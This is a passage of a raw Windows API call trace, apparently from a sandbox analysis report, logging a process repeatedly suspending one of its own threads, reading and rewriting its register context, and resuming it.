(Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0156.768] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0156.793] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0156.819] SuspendThread (hThread=0x194) returned 0x0 [0156.820] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ef18, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f6fe600, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0156.929] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ef10, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0156.930] ResumeThread (hThread=0x194) returned 0x1 [0156.930] CloseHandle (hObject=0x194) returned 1 [0157.086] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0157.187] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0157.187] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0157.287] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0157.392] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0157.392] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0157.392] SuspendThread (hThread=0x194) returned 0x0 [0157.392] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28fbe0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f741c60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0157.393] ResumeThread (hThread=0x194) returned 0x1 [0157.393] CloseHandle (hObject=0x194) returned 1 [0157.393] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0157.495] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0157.495] SuspendThread (hThread=0x194) returned 0x0 [0157.495] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ef70, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f731780, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0157.669] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ef68, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, 